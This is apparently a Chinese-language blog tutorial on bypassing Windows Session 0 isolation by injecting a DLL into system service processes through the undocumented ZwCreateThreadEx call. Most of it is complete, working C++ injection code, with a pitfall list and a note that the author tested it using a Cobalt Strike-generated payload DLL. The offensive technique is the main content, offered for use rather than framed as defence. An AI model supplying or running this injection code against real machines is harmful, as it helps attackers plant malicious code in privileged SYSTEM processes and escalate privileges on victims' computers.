遠端執行緒注入突破SESSION 0

SESSION 0 隔離

在Windows XP、Windows Server 2003,以及更老版本的Windows作業系統中,服務和應用程式使用相同的會話(Session)執行,而這個會話是由第一個登入到控制檯的使用者啟動的。該會話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務,也包含標準使用者應用程式。

將服務和使用者應用程式一起在Session 0中執行會導致安全風險,因為服務會使用提升後的許可權執行,而使用者應用程式使用使用者特權(大部分都是非管理員使用者)執行,這會使得惡意軟體以某個服務為攻擊目標,通過“劫持”該服務,達到提升自己許可權級別的目的。

從Windows Vista開始,只有服務可以託管到Session 0中,使用者應用程式和服務之間會被隔離,並需要執行在使用者登入到系統時建立的後續會話中。例如第一個登入的使用者建立 Session 1,第二個登入的使用者建立Session 2,以此類推,如下圖所示。

突破SESSION 0

ZwCreateThreadEx函式可以突破SESSION 0 隔離,將DLL注入到SESSION 0 隔離的系統服務程序中。CreateRemoteThread底層實際上也是通過ZwCreateThreadEx函式實現執行緒建立的。CreateRemoteThread注入系統程序會失敗的原因是因為呼叫ZwCreateThreadEx建立遠端執行緒時,第七個引數CreateThreadFlags為1。

使用CreateRemoteThread注入失敗DLL失敗的關鍵在第七個引數CreateThreadFlags, 他會導致執行緒建立完成後一直掛起無法恢復程序執行,導致注入失敗。而想要註冊成功,把該引數的值改為0即可。

ZwCreateThreadEx

ZwCreateThreadEx在 ntdll.dll 中並沒有宣告,所以我們需要使用 GetProcAddress 從 ntdll.dll 中獲取該函式的匯出地址。

我們需要注意的是64位和32位中,函式定義還不一樣

64 位下,ZwCreateThreadEx 函式宣告為:

DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);

32 位下,ZwCreateThreadEx 函式宣告為:

DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);

編碼實現

#include <Windows.h>
#include <stdio.h>
#include <iostream> void ShowError(const char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
} // 使用 ZwCreateThreadEx 實現遠執行緒注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
//開啟注入程序,獲取程序控制代碼
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL) {
printf("OpenProcess Error");
return -1 ;
}
//在注入的程序申請記憶體地址 dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
//寫入記憶體地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
//載入ntdll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函式地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
} #ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//獲取ZwCreateThreadEx函式地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 建立遠執行緒, 實現 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 關閉控制代碼
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll); return TRUE; } int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(8, "C:\\Users\\xx\\Desktop\\pwn\\artifact64.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDll(atoi(argv[1]), argv[2]);
#endif
if (FALSE == bRet)
{
std::cout << "Inject Dll Error.\n";
}
std::cout << "Inject Dll OK.\n";
return 0;
}

在這如果想通過MessageBox判斷是否注入成功,那麼會大失所望。由於會話隔離,在系統程式中不能顯示程式窗體,也不能用常規方式來建立使用者程序。所以這裡使用CS生成的dll來判斷DLL是否注入成功。

前面用MessageBox來判斷踩坑了。

步驟總結

  1. 開啟注入程序,獲取程序控制代碼
  2. 在注入的程序申請記憶體地址
  3. 寫入記憶體地址
  4. 載入ntdll,獲取LoadLibraryA函式地址
  5. 獲取ZwCreateThreadEx函式地址
  6. 使用 ZwCreateThreadEx 建立遠執行緒, 實現 DLL 注入

坑點總結

  1. 需要使用管理員許可權

  2. 程序注入dll使用MessageBox,會顯示不了。因為系統程式中不能顯示程式窗體

  3. ZwCreateThreadEx的函式定義在32和64位的不一樣